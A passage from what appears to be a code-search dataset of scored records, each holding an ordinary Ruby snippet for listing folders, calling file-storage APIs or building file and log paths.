"def get_public_folders(options = nil)\n @client.raw('get', '/config/public-folders', options)\n end", "title": "" }, { "docid": "278f410e66b22e5953954efe18399ef2", "score": "0.6702717", "text": "def show\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @folder }\n end\n end", "title": "" }, { "docid": "3a3583701ddc3e9121bd53e6be0c1300", "score": "0.67026824", "text": "def getFoldersAPI\r\n\t\t\t\t\tfoldersAPI = FoldersAPI.new(authToken, portalId)\t\r\n\t\t\t\t\treturn foldersAPI\r\n\t\t\t\tend", "title": "" }, { "docid": "a79d718b5ea6108881e8d282e91bd1be", "score": "0.6686794", "text": "def list_folder(path, options = {})\n\t\t\tvalidate_options([\n\t\t\t\t:recursive,\n\t\t\t\t:include_media_info,\n\t\t\t\t:include_deleted,\n\t\t\t\t:include_has_explicit_shared_members\n\t\t\t], options)\n\t\t\toptions.merge!(path: path)\n\n\t\t\tDropbox::Results::ListFolder.new(\n\t\t\t\t@session.rcp('/files/list_folder', options)\n\t\t\t)\n\t\tend", "title": "" }, { "docid": "fa9e1f93fedeb54ad084ff239836b2f5", "score": "0.6670098", "text": "def fetch_folder_contents\n code, reason, headers, uripath, graph = @session.get_folder(uri)\n parse_folder_description(graph)\n end", "title": "" }, { "docid": "84fa236b44725ce503c2257beb745333", "score": "0.6668348", "text": "def get_folder_list(folder, recursive = false)\n raw_list = api(\"GetFolderList\", folder, recursive)\n raw_list.split(\"\\n\").map { |folder| folder.chop }\n end", "title": "" }, { "docid": "2d7eb254b88a97764021024b4519c7c2", "score": "0.6627507", "text": "def list_folder(path)\n Artifactory.client.get(\"api/storage/#{path}?list&listFolders=1&mdTimestamps=1\")['files'].map do |file|\n if file[\"folder\"]\n FolderArtifact.new(path, file)\n else\n FileArtifact.new(path, file)\n end\n end\nend", "title": "" }, { "docid": "ab3bd9208ea0363f13d3e4bbb9cdc180", "score": "0.6617235", "text": "def index\n @folders = Folder.where(:user_id=> current_user.id)\n end", "title": "" }, { "docid": "0b54994a4202be9d327f254f95bf8004", "score": "0.6609206", "text": "def get_library_folders(params)\n url = Util::Config.get('endpoints.base_url') + Util::Config.get('endpoints.library_folders')\n url = build_url(url, params)\n response = RestClient.get(url, get_headers())\n folders = []\n body = JSON.parse(response.body)\n body['results'].each do |folder|\n folders << Components::LibraryFolder.create(folder)\n end\n Components::ResultSet.new(folders, body['meta'])\n end", "title": "" }, { "docid": "98f98fd6d9e299252922e21ba27e6647", "score": "0.66019076", "text": "def folders\n children(:of_type => 'EmsFolder')\n end", "title": "" }, { "docid": "541c43c5ccc2b3d570ff2950f9864960", "score": "0.6600407", "text": "def folders\n @sqliteclient.folders.map do |x|\n \"#{x[\"folder\"]} (#{x['count']})\"\n end.join(\"\\n\")\n end", "title": "" }, { "docid": "e1f80229b4d21f1ce465f388cb8dffee", "score": "0.6596497", "text": "def list_with_http_info(account_id, options = DocuSign_eSign::ListOptions.default)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: FoldersApi.list ...\"\n end\n # verify the required parameter 'account_id' is set\n fail ArgumentError, \"Missing the required parameter 'account_id' when calling FoldersApi.list\" if account_id.nil?\n # resource path\n local_var_path = \"/v2.1/accounts/{accountId}/folders\".sub('{format}','json').sub('{' + 'accountId' + '}', account_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'include'] = options.include if !options.include.nil?\n query_params[:'include_items'] = options.include_items if !options.include_items.nil?\n query_params[:'start_position'] = options.start_position if !options.start_position.nil?\n query_params[:'template'] = options.template if !options.template.nil?\n query_params[:'user_filter'] = options.user_filter if !options.user_filter.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FoldersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FoldersApi#list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7eede5536efbacabb4a1ab00dfcf1400", "score": "0.65899795", "text": "def folder(folder_name)\n response = self.class.get(\"/#{@username}/#{folder_name}.json\")\n response['items'].map {|item| ChunkyBaconfile::FileInfo.new(item)}\n end", "title": "" }, { "docid": "d6d2651329a645f6c55215785b1dc0ad", "score": "0.658135", "text": "def index\n @page_title = \"All Directories\"\n @directories = Directory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @directories }\n end\n end", "title": "" }, { "docid": "491463449cba0691a960f2d3074da705", "score": "0.65779406", "text": "def get_library_folders(params = {})\n Services::LibraryService.get_library_folders(params)\n end", "title": "" }, { "docid": "8be5f9a5142771e2226638e2e3018ad9", "score": "0.65471923", "text": "def index\n @folders = @member.folders.accepted\n redirect_to folder_path(@org, @folders.first) if !@member.permits?(:folders, :write) && @folders.count == 1\n end", "title": "" }, { "docid": "c3b438f9238768ce08a1de053eb14ea9", "score": "0.6526465", "text": "def index\n # @folders = Folder.find(:all)\n# display @folders\n redirect url(:folder, 1)\n end", "title": "" }, { "docid": "2a987864e146334485253b157f5512cc", "score": "0.6517937", "text": "def folder_documents(path)\n make_request(:get,\"#{folders_url(path)}/documents.xml\")\n end", "title": "" }, { "docid": "95281911ec2a292600377b68923d3e0a", "score": "0.651474", "text": "def test_list_folders\n\t\tcontext = ClientContext.new\n\t\tassert(context.list_folders.empty? == false)\n\tend", "title": "" }, { "docid": "9ca05c6addc1774bd30f2433eff168d1", "score": "0.6491406", "text": "def folder_tree\n parent_folder_id =\n unsafe_params[:parent_folder_id] == \"\" ? nil : unsafe_params[:parent_folder_id].to_i\n scoped_parent_folder_id =\n unsafe_params[:scoped_parent_folder_id] == \"\" ? nil : unsafe_params[:scoped_parent_folder_id].to_i\n\n if unsafe_params[:scopes].present?\n check_scope!\n # exclude 'public' scope\n if unsafe_params[:scopes].first =~ /^space-(\\d+)$/\n spaces_members_ids = Space.spaces_members_ids(unsafe_params[:scopes])\n spaces_params = {\n context: @context,\n spaces_members_ids: spaces_members_ids,\n scopes: unsafe_params[:scopes],\n scoped_parent_folder_id: scoped_parent_folder_id,\n }\n files = UserFile.batch_space_files(spaces_params)\n folders = Folder.batch_space_folders(spaces_params)\n else\n files = UserFile.batch_private_files(@context, [\"private\", nil], parent_folder_id)\n folders = Folder.batch_private_folders(@context, parent_folder_id)\n end\n end\n\n folder_tree = []\n Node.folder_content(files, folders).each do |item|\n folder_tree << {\n id: item[:id],\n name: item[:name],\n type: item[:sti_type],\n uid: item[:uid],\n scope: item[:scope],\n }\n end\n\n render json: folder_tree\n end", "title": "" }, { "docid": "4d4cd3c44677ed47758f13e50da8818b", "score": "0.6478073", "text": "def list\n @site = Site.find_by_name(params[:site])\n if @site.nil?\n return render_404\n end\n @folder = @site.folders.by_name(params[:folder]).first\n if @folder.nil?\n return render_404\n end\n @articles = @folder.articles.listing(@folder).page(params[:page]).per(PER_PAGE)\n# paginate(:per_page => PER_PAGE, :page => params[:page])\n respond_to do |format|\n format.html { render :action => :list}\n end\n end", "title": "" }, { "docid": "986a5411f9a74d5f0763de6dc1e8faa9", "score": "0.6456286", "text": "def folders\n @folders ||= (list '', '[Gmail]/%')\n end", "title": "" }, { "docid": "38458a6cf15ff4269c6015f2b1c042b9", "score": "0.6454803", "text": "def folders(offset: 0, limit: 20)\n Helpers.validate_offset_limit!(offset, limit)\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.get do |req|\n req.url \"#{resource_uri}/folders\"\n req.params[\"offset\"] = offset\n req.params[\"limit\"] = limit\n end\n if res.success?\n data = JSON.parse(res.body)\n ResourceList.new(data, self, Folder, @client)\n else\n nil\n end\n end", "title": "" }, { "docid": "2d583cbe1f925debc29d1750b2e7ce97", "score": "0.64415276", "text": "def show\n @documents = @folder.contents\n \n @breadcrumbs = @folder.breadcrumbs\n\n respond_to do |format|\n format.html { render 'documents/index' }\n format.json { render json: @folder }\n end\n end", "title": "" }, { "docid": "f2379ec60e0212a6c3b27f3565ed657e", "score": "0.6441513", "text": "def show\n @folder = current_user.folders.find params[:id]\n\n if @folder.present?\n # If folder has not changed, return a 304\n if stale? etag: EtagCalculator.etag(@folder.updated_at),\n last_modified: @folder.updated_at\n respond_with @folder\n end\n else\n Rails.logger.info \"Folder #{params[:id]} not found, returning a 404\"\n head 404\n end\n rescue => e\n handle_error e\n end", "title": "" }, { "docid": "521188e3e895c68c95c4162ccaaa91de", "score": "0.64364845", "text": "def retrieveDirectory(path)\n arguments = [self.fullID(path)]\n cmdOptions = {\n \"-a\" => true,\n \"-j\" => true,\n \"-l\" => true,\n }\n\n if @account\n cmdOptions[\"-T\"] = @account.token\n end\n\n result = Occam::Worker.perform(\"objects\", \"list\", arguments, cmdOptions)\n JSON.parse(result[:data], :symbolize_names => true)\n rescue\n []\n end", "title": "" }, { "docid": "c896e72f2d714454c53fe62429f94c0e", "score": "0.6429442", "text": "def list_folders(path)\r\n result = Hash.new\r\n result[\"folders\"] = Array.new\r\n result[\"files\"] = Array.new\r\n ignore_strings = ['.','..']\r\n root_folder_contents = Array.new\r\n Dir.foreach(path){|x|\r\n \t(File.directory?(path+'/'+x) && (ignore_strings.include?(x) == false)) ? result[\"folders\"] << x : ''\r\n \t(File.file?(path+'/'+x) && File.extname(x).downcase == '.mp3') ? result[\"files\"] << x : ''\r\n }\r\n return result\r\n end", "title": "" }, { "docid": "50814b5fe38119f3723548f2a85bad68", "score": "0.6424479", "text": "def listing_folders(f_options)\n @folders = Folder.find(:all,f_options)\n @document_names = [ ]\n @documents = [ ]\n @folders = @folders.compact.collect{|f| f if f && check_is_folder_shared(f) == \"true\"}.compact unless @folders.empty?\n end", "title": "" }, { "docid": "09e2004275937b17013aadeca3c2d9a4", "score": "0.63861233", "text": "def get_folder_entries(file_id,request_args=nil)\n headers={'Accept'=>'application/json'}\n headers.merge!({'X-Aspera-Cache-Control'=>'no-cache'}) if @option_folder_reset_cache.eql?(:header)\n return @api_node.call({:operation=>'GET',:subpath=>\"files/#{file_id}/files\",:headers=>headers,:url_params=>request_args})[:data]\n #return @api_node.read(\"files/#{file_id}/files\",request_args)[:data]\n end", "title": "" }, { "docid": "3ede1d49290e2730ba58bf8fab8ff432", "score": "0.6385921", "text": "def index\n # @folders = Folder.all.order(created_at: :desc)\n @folders = Folder.all.page(params[:page]).per(10)\n end", "title": "" }, { "docid": "939ab96c548d8cf552bf13ee30708697", "score": "0.6361816", "text": "def get_list_dir_entry(repo,path)\n http = curl_get(\"repos/#{repo}/dir/?p=#{path}\")\n JSON.parse(http.body_str)\n end", "title": "" }, { "docid": "c193d3e707e7e217c9682340a6fe96be", "score": "0.6360143", "text": "def find(folderid)\n response = request(:get, \"folders/#{folderid}\")\n h = doc_to_hash(response, \"//data\").try(:[], \"data\")\n add_meta(response, h)\n end", "title": "" }, { "docid": "9ac7aa507fec1b23110873716372a81b", "score": "0.6359563", "text": "def list\n @site = Site.find_by_name(params[:site])\n if @site.nil?\n return render_404\n end\n @folder = @site.folders.by_name(params[:folder]).first\n if @folder.nil?\n return render_404\n end\n @images = @folder.images.listing(@folder).page(params[:page]).per(PER_PAGE)\n respond_to do |format|\n format.html { render :action => :list}\n end\n end", "title": "" }, { "docid": "11deb0ce176838dd1f5298852811f90d", "score": "0.63575494", "text": "def show\n @folder = Folder.find_by_id params[:id]\n @can_update = current.user.can_update? @folder.id\n @can_delete = current.user.can_delete? @folder.id\n @folders, @files = @folder.list params[:order_by], params[:order]\n end", "title": "" }, { "docid": "24b9bd1e14a45557adab51d95e881d90", "score": "0.6336843", "text": "def get_folder(folder_uri)\n code, reason, headers, uri, folder_contents = do_request_rdf(\"GET\", folder_uri,\n :accept => 'application/vnd.wf4ever.folder')\n if code != 200\n error(code, reason)\n end\n\n [code, reason, headers, uri, folder_contents]\n end", "title": "" }, { "docid": "52f2e50af9c643721af1d8c7c866410f", "score": "0.6329483", "text": "def get_library_folders(access_token, params = {})\n Services::LibraryService.get_library_folders(access_token, params)\n end", "title": "" }, { "docid": "b61ab026e4f53ddc592ac4614986594b", "score": "0.6328657", "text": "def get_folders\n Dir.glob(\"#{@local_path}**/*\").select do |f|\n File.directory?(f)\n end\n end", "title": "" }, { "docid": "db6c6a0fac6ac975910a82376ec4cb61", "score": "0.6326613", "text": "def public_list\n @folders = Bpluser::Folder.public_list\n end", "title": "" }, { "docid": "ed6b623338f6cf30e0abc08266b5913e", "score": "0.6321745", "text": "def survey_folders(options = {})\n response = self.class.get(\"/survey_folders\", { query: options })\n response.parsed_response\n end", "title": "" }, { "docid": "e7a2bb8681ba2a0de4e91321dcc10380", "score": "0.6319487", "text": "def show\n\t\t@folder = current_user.folders.find(params[:id])\n\t\t@notes = @folder.notes.all\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @notes }\n\t\tend\n\tend", "title": "" }, { "docid": "67f9061c0a1a831f457b3e8c5f1be0f3", "score": "0.63194233", "text": "def list(path=nil)\n remote_path = list_path(path)\n \n begin\n response = @client.metadata(remote_path)\n rescue DropboxError\n raise Error, 'Invalid Dropbox folder specified'\n end\n\n response['contents'].map do |elem|\n {\n name: elem['path'].split('/').last,\n path: elem['path'],\n type: elem['is_dir'] ? 'folder' : 'file'\n }\n end\n end", "title": "" }, { "docid": "405dd1423472c4b1ea308aa0e2fc9d05", "score": "0.6308742", "text": "def get_folder(folder_ids, folder_shape = {:base_shape => 'Default'}, act_as = nil)\n action = \"#{SOAP_ACTION_PREFIX}/GetFolder\"\n resp = invoke(\"#{NS_EWS_MESSAGES}:GetFolder\", action) do |root|\n build!(root) do\n folder_shape!(root, folder_shape)\n folder_ids!(root, folder_ids, act_as)\n end\n end\n parse!(resp)\n end", "title": "" }, { "docid": "e733793bd66d3e87c0b14a71a30806e6", "score": "0.6304117", "text": "def index\n @user = current_user\n if params[:search]\n @temp_folders = @user.folders\n @folders_array = []\n @temp_folders.each do |folder|\n @search = \"#{params[:search]}\"\n if folder.name == @search\n @folders_array.push folder\n end\n end\n @folders = @folders_array.paginate(:page => params[:page], :per_page => 2)\n else\n @folders = @user.folders.paginate(:page => params[:page], :per_page => 2)\n end\n @title = \"Your Folders\"\n end", "title": "" }, { "docid": "4ef2f14dee06e50f4c16b2cc06ed1522", "score": "0.6296645", "text": "def index\n @folders = Folder.arrange_as_array({:order => :title}, Folder.where(:user_id => current_user.id).arrange)\n end", "title": "" } ]
c8cbd7985572cffa3a75429fe3804c1a
return the full path to us, for logging and rollback; not currently used
[ { "docid": "1ef5bb802a3b6d713ee8b2f8c4a70c22", "score": "0.0", "text": "def pathbuilder\n if @resource\n return [@resource.pathbuilder, self.name]\n else\n return [self.name]\n end\n end", "title": "" } ]
[ { "docid": "d2ea627fa2bc6506531b74637e8d8004", "score": "0.7242321", "text": "def path_base\n Dir.pwd\n end", "title": "" }, { "docid": "9f282de7602e8fe236964002203ec589", "score": "0.71744096", "text": "def path\n if is_root?\n name\n else\n [parent.path, name].join(\"/\")\n end\n end", "title": "" }, { "docid": "1a324caf39a7f91ebf6f48d24453d254", "score": "0.71429", "text": "def path\n parents = [self]\n parents << parents.last.parent while parents.last.parent\n ::File.join(parents.reverse.map(&:name))\n end", "title": "" }, { "docid": "4a62264855cb900a659df1f203302bed", "score": "0.71360976", "text": "def full_path\n p = self_and_ancestors.collect{|sm| sm.path_segment }.join(FILE_SEPARATOR)\n p = FILE_SEPARATOR + p unless p =~ /^\\// \n p\n end", "title": "" }, { "docid": "206123a0b6aa90aaacfb445c38e31353", "score": "0.7119743", "text": "def path\n File.join @path_base, @filename\n end", "title": "" }, { "docid": "25fae3f91e29e9a6feaf30b5391abd84", "score": "0.71060115", "text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end", "title": "" }, { "docid": "25fae3f91e29e9a6feaf30b5391abd84", "score": "0.71060115", "text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end", "title": "" }, { "docid": "25fae3f91e29e9a6feaf30b5391abd84", "score": "0.71060115", "text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end", "title": "" }, { "docid": "25fae3f91e29e9a6feaf30b5391abd84", "score": "0.71060115", "text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end", "title": "" }, { "docid": "25fae3f91e29e9a6feaf30b5391abd84", "score": "0.71060115", "text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end", "title": "" }, { "docid": "d5d964929ffa4b62cac7dfb637f4c004", "score": "0.709729", "text": "def full_path\n path\n end", "title": "" }, { "docid": "c71ef128573d36eb4ee724f7b221140d", "score": "0.70926476", "text": "def log_path\n if self[:'logging.path'] && self[:'logging.path'] != 'STDOUT'\n locate_absolute_path(self[:'logging.path'], self[:root])\n end\n end", "title": "" }, { "docid": "762bbe8d5cfd98b860292e4c6fcc0d0a", "score": "0.70861053", "text": "def __path\n @path ||= File.join @context.path, __name\n end", "title": "" }, { "docid": "c3a7d05919ed5f85316c3c4ed7bc154d", "score": "0.7084532", "text": "def path\n return self.dir.path + '/' + self.name\n end", "title": "" }, { "docid": "8a2af9b6b46bb123477abd4762821500", "score": "0.70728236", "text": "def full_path\n program.root_path().join(path)\n end", "title": "" }, { "docid": "5d3bf4e468ca7ba09b3381e322c75074", "score": "0.70443714", "text": "def path\n @path.to_s\n end", "title": "" }, { "docid": "0e6f65524f085319367bf9335d378fd6", "score": "0.7042887", "text": "def path\n base.path\n end", "title": "" }, { "docid": "68e30d32e4376d654915f0956dfbdfe2", "score": "0.70365906", "text": "def base_path\n Dir.pwd + \"/\"\n end", "title": "" }, { "docid": "31cc62237b460cf2d44fddad004d7d63", "score": "0.70217675", "text": "def path\n return @fullPath\n end", "title": "" }, { "docid": "a5f976b807afe55d2fdc18a8a89c20d5", "score": "0.70012826", "text": "def path\n @log_file.path\n end", "title": "" }, { "docid": "498ba40fec0824aff901ffe3995a8713", "score": "0.69894934", "text": "def base_path\n File.join(path_prefix)\n end", "title": "" }, { "docid": "865138f0a52eb6c11330b9231090e14e", "score": "0.69854826", "text": "def current_path\n Dir.pwd\n end", "title": "" }, { "docid": "0d4a60130781c08e5f492adf495e5c83", "score": "0.69840163", "text": "def path\n PATH\n end", "title": "" }, { "docid": "b5fa26b073ca97a150d3c1ac1ee7530f", "score": "0.69834507", "text": "def getFullPath()\n fullpath = \"\"\n fullpath += @resource[:disk_path]\n fullpath += @resource[:partition_number]\n return fullpath\n end", "title": "" }, { "docid": "6608abf5465fa92954e18cddee100143", "score": "0.69757575", "text": "def working_path\r\n Dir.pwd\r\nend", "title": "" }, { "docid": "fc29c1dc8e0394e117a3849541afac84", "score": "0.6956815", "text": "def access_log_path\n\t\tpath = self.access_log or return nil\n\t\treturn Pathname( path )\n\tend", "title": "" }, { "docid": "8b9a79ca0281c6eca045271714e14738", "score": "0.6953752", "text": "def __FILE__\n self.path\n end", "title": "" }, { "docid": "d31996efe798a975697b766e4a48ffe8", "score": "0.6953344", "text": "def fullpath; end", "title": "" }, { "docid": "6979f316ad4bc197b7721c5f790ff419", "score": "0.695217", "text": "def path\n @path ||= File.expand_path(File.join(@parent_path, 'rtex', \"#{@basename}-#{self.class.uuid}\"))\n end", "title": "" }, { "docid": "17ccada493c56fe7f880f89e1abfd52c", "score": "0.69515884", "text": "def error_log_path\n\t\tpath = self.error_log or return nil\n\t\treturn Pathname( path )\n\tend", "title": "" }, { "docid": "d7b980fa6abe06943d766f294458eb0f", "score": "0.6942275", "text": "def full_path; end", "title": "" }, { "docid": "c731940b18a432580978fc1f4b17822d", "score": "0.6935627", "text": "def path\n @path ||= Dir.pwd\n end", "title": "" }, { "docid": "dc23a81c30261d0ef5532e03837d6538", "score": "0.69315183", "text": "def to_s ; path ; end", "title": "" }, { "docid": "831d5837759de773f8ab3644a775e509", "score": "0.6929433", "text": "def path\n # returns a string\n throw NotImplementedError\n end", "title": "" }, { "docid": "30bb1bcdd0642e7deb3d07d07d3376e3", "score": "0.69238055", "text": "def path\n return @path\n end", "title": "" }, { "docid": "30bb1bcdd0642e7deb3d07d07d3376e3", "score": "0.69238055", "text": "def path\n return @path\n end", "title": "" }, { "docid": "30bb1bcdd0642e7deb3d07d07d3376e3", "score": "0.69238055", "text": "def path\n return @path\n end", "title": "" }, { "docid": "15109ed187621ce011bc5c4127725ddc", "score": "0.6923443", "text": "def get_path\n if self.instructor_id == nil\n raise \"Path can not be created. The course must be associated with an instructor.\"\n end \n return RAILS_ROOT + \"/pg_data/\" + FileHelper.clean_path(User.find(self.instructor_id).name)+ \"/\" + FileHelper.clean_path(self.directory_path) + \"/\" \n end", "title": "" }, { "docid": "1f1ead8a75bd9ad3cf0a67ecf003a9e8", "score": "0.6922908", "text": "def full_path (caller, config_file) \n File.join(File.dirname(caller), \"/\", config_file)\nend", "title": "" }, { "docid": "774c66275303319a66d65ae41aad6f86", "score": "0.69027126", "text": "def path\n @path ||= \"#{Dir.pwd}/#{name}\"\n end", "title": "" }, { "docid": "1909892e9505fe3ff8564de7fe2eadf2", "score": "0.68876094", "text": "def __path__\n File.dirname filename\n end", "title": "" }, { "docid": "de198219687f27728b71617d73ba34b1", "score": "0.6869263", "text": "def relative_file_name; end", "title": "" }, { "docid": "a579cb6c833fff9cf0ea517a6bdc7adf", "score": "0.68653506", "text": "def path\n @path ||= self.class.base_path.join(directory_name)\n end", "title": "" }, { "docid": "ee586a8d4f1c0bb3a3d37f07ec1559b5", "score": "0.68634236", "text": "def path\n @path ||= File.join(self.class.home, @name)\n end", "title": "" }, { "docid": "84a6c7acf778837306e71266499b676f", "score": "0.6841924", "text": "def local_path; end", "title": "" }, { "docid": "84a6c7acf778837306e71266499b676f", "score": "0.6841924", "text": "def local_path; end", "title": "" }, { "docid": "66468490beeb2db338f874666b3e1ab8", "score": "0.6832219", "text": "def path\n to_s\n end", "title": "" }, { "docid": "84f25ce07d49c9e4c4b70e1d850f9a8c", "score": "0.68306106", "text": "def current_path\n\t\t#\n\t\t# WMAP: removed the asterixs and modified the first return\n\t\t# to just return a '/'\n\t\t# \n\t\treturn \"/\" if is_root? \n\t\treturn ([name,parent.current_path]).flatten.reverse.join(\"/\")\n\tend", "title": "" }, { "docid": "e973d41cb1d5e899b5e9200f9d066d73", "score": "0.68293315", "text": "def path\n @path ||= File.join(@dest_root, \"original\", @metadata.root, @metadata.slug_name + @metadata.ext)\n end", "title": "" }, { "docid": "ec5ca90bcd549ec29361c5a07e5592b9", "score": "0.6823851", "text": "def path\n fullname.gsub('.', '/')\n end", "title": "" }, { "docid": "0d845b9ab71dfadcfba7dcbb27524936", "score": "0.68192244", "text": "def path_to_current_file\n @path\n end", "title": "" }, { "docid": "0edb81eb643c0b45f9a8eea0312df615", "score": "0.68176085", "text": "def path\n unless @path\n if @parent\n @path = \"#{@parent.path}/#{@name}\"\n else\n @path = \"/#{@name}\"\n end\n end\n return @path\n end", "title": "" }, { "docid": "c7952e15fe9d84521356b95697f63b48", "score": "0.6804676", "text": "def file_path\n File.join base_path , name\n end", "title": "" }, { "docid": "b493b7f186636174905e5aa29d2da962", "score": "0.6802136", "text": "def path\n # no-op, the functionality is provided by the class this is mixed into.\n # here only for documentation purposes\n end", "title": "" }, { "docid": "2df6bfd6b0960d83300f110ef5c1ad82", "score": "0.6800043", "text": "def abs_path; end", "title": "" }, { "docid": "3cb0580d68de881867846eb5fb5c2602", "score": "0.67956394", "text": "def account_path(account)\n File.join BaseDirectory, account\n end", "title": "" }, { "docid": "9f05668570e07af06b96ed509ddc5c37", "score": "0.6794044", "text": "def full_path\n\t\t if file and @props[:repo]\n Pathname.new(@props[:repo]).dirname+file\n\t\t else\n\t\t path\n\t\t end\n\t\tend", "title": "" }, { "docid": "b756bf1f38c73111fcf3f0556ba2e0eb", "score": "0.6792939", "text": "def path\n to_s\n end", "title": "" }, { "docid": "a9e41bc4ab151db781d404c0eb56d0b7", "score": "0.67840445", "text": "def path\r\n File.dirname @file if @file\r\n end", "title": "" }, { "docid": "6855ee8718a709e5b70c44fa94d36fa2", "score": "0.678172", "text": "def get_path\n return @path\n end", "title": "" }, { "docid": "a1a9813328ca2fc86ff383f5476c768f", "score": "0.677247", "text": "def path_file\n @root.join FILE_NAME\n end", "title": "" }, { "docid": "a1a9813328ca2fc86ff383f5476c768f", "score": "0.677247", "text": "def path_file\n @root.join FILE_NAME\n end", "title": "" }, { "docid": "bf1869dd9aad9a7f54685fd0f83dac62", "score": "0.6769208", "text": "def path\n @path ||= self.class.path\n end", "title": "" }, { "docid": "0a3ff850d2b052319de9962af28cb50d", "score": "0.67663884", "text": "def log_file_path\n\t\t\tFile.join(log_directory, \"#{name}.log\")\n\t\tend", "title": "" }, { "docid": "02cb926daf735e30cc745839c93d7254", "score": "0.6765017", "text": "def path\n @path ||= setup_path\n end", "title": "" }, { "docid": "641e254a14a4a9acddead0ff3e393a62", "score": "0.67595506", "text": "def _path\n self.class::PATH\n end", "title": "" }, { "docid": "050a3d97254f44ec29407adb6cc3b159", "score": "0.6758169", "text": "def path\n @path ||= File.join(prefix, filename)\n end", "title": "" }, { "docid": "d575be88a07d0592a12fc711eb90d69f", "score": "0.67490095", "text": "def log_path\n @log_path ||= File.join(Config.log_root, \"#{basename}.log\")\n end", "title": "" }, { "docid": "5b290d61f3293fdbf727c4765278800e", "score": "0.6748489", "text": "def path\n return @path\n end", "title": "" }, { "docid": "5b290d61f3293fdbf727c4765278800e", "score": "0.6748489", "text": "def path\n return @path\n end", "title": "" }, { "docid": "2462697e1c0c22fb9f0a7ea1ff17b260", "score": "0.674169", "text": "def hr_path\n\n object_name = File.basename self\n parent_folder = File.dirname self\n parent_name = File.basename parent_folder\n granny_folder = File.dirname parent_folder\n granny_name = File.basename granny_folder\n\n return [granny_name,parent_name,object_name].join(\"/\")\n\n end", "title": "" }, { "docid": "f5634005bfc763be0d07c3714d96cb43", "score": "0.6738382", "text": "def local_path\n @path.sub(self.class.base_dir, '').sub(/\\//, '')\n end", "title": "" }, { "docid": "c51604766a3be567e27e58a535342cb4", "score": "0.67378247", "text": "def path\n @path ||= compute_path\n end", "title": "" }, { "docid": "d5209cb63376cd4ad175424ecf45092a", "score": "0.67371535", "text": "def to_s\n @path.join('.')\n end", "title": "" }, { "docid": "e6650432f8b31ff1b3c09aa637fdf499", "score": "0.6736723", "text": "def to_s\r\n path\r\n end", "title": "" }, { "docid": "6611468c53be4fde4a592fdf33ae4de9", "score": "0.67315143", "text": "def base_path\n @path\n end", "title": "" }, { "docid": "c34b106a3b2db2d201fcf584df460f1c", "score": "0.672862", "text": "def file_path; end", "title": "" }, { "docid": "ac4cd5e380016058ef01d1224347dfbb", "score": "0.6727762", "text": "def logfile_path\n distinct_relative_path @config[\"server_log\"]\n end", "title": "" }, { "docid": "98fc9ef4cf9f3b9f32e5ed21b07b435f", "score": "0.6726141", "text": "def log_path\n home_path.join(\"logs\")\n end", "title": "" }, { "docid": "542793be15ac68d978fe3d469f94b12e", "score": "0.6725651", "text": "def relative_path\n path.empty? ? self.name : File.join(\"#{self.path}\", \"#{self.name}\")\n end", "title": "" }, { "docid": "d7c63ec54979920198c8c07c71f79c20", "score": "0.67251986", "text": "def _path_to_s\n \"#{_relative_path}:#{lineno}->#{(parent ? \"#{parent._path_to_s}\" : \"\\n\")}\"\n end", "title": "" }, { "docid": "f24f1bf5319e4a737a9918edeb923ebf", "score": "0.6724314", "text": "def path\n if not @path.nil?\n @path\n else\n self.configuration.directory\n end\n end", "title": "" }, { "docid": "f3e03b52bff6e4e0240b8b539f014467", "score": "0.6714833", "text": "def path\n ''\n end", "title": "" }, { "docid": "e2d8e273b7177a75fcaf7b119a158299", "score": "0.671203", "text": "def full_path\n if app_root.nil? || app_root.empty?\n path\n else\n File.join app_root, path\n end\n end", "title": "" }, { "docid": "b25a31bc4fcd52b0f07fe4b979187353", "score": "0.6709859", "text": "def fs_path\n scope_name = @instance_options[:scope_name]\n\n ([root_name] + object.ancestors(scope_name).map(&:name).reverse).compact.join(\" / \")\n end", "title": "" }, { "docid": "6f0f9b680c67fa536d248350cc44d7ed", "score": "0.67098546", "text": "def relative_path\n if self.configured?\n \".\"\n else\n self.path[(self.configured_ancestor.path.length + 1)..-1]\n end\n end", "title": "" }, { "docid": "ee210c4d027c950b8cc9ec5f5f773ae1", "score": "0.67085445", "text": "def path\n join_path(base_path, strip_path(options[:path].to_s))\n end", "title": "" }, { "docid": "48988a1dd87b0d6765999971981a8578", "score": "0.6706784", "text": "def local_path_name\n\t\t\tlocal_path.to_s\n\t\tend", "title": "" }, { "docid": "c85f000fc2da3b90b81407a546a5dbd2", "score": "0.67051053", "text": "def temp_path\n p = temp_paths.first\n p.respond_to?(:path) ? p.path : p.to_s\n end", "title": "" }, { "docid": "8f3944f497e3bcd156c7d26050ae0f3d", "score": "0.670469", "text": "def _relative_path\n Pathname.new(self.path).relative_path_from(Dir.pwd).to_s\n end", "title": "" }, { "docid": "45b2df2a2ed2856767fbde8fb9d8cf82", "score": "0.67041165", "text": "def path\r\n if self.downloaded?\r\n File.join(self.context.user_directory, self.name)\r\n end\r\n end", "title": "" }, { "docid": "443898d6d51794a5bc655821b2a5ca4f", "score": "0.67033565", "text": "def path\n \"#{@file}.#{@format}\"\n end", "title": "" }, { "docid": "71bbbd9ea82a667a048fb47f385f50e5", "score": "0.6701438", "text": "def full_path\n container.root.join(path)\n end", "title": "" }, { "docid": "44a4463d80cf3f3cbfb0fc7b78be4290", "score": "0.67008895", "text": "def path\n @path.cleanpath.to_s\n end", "title": 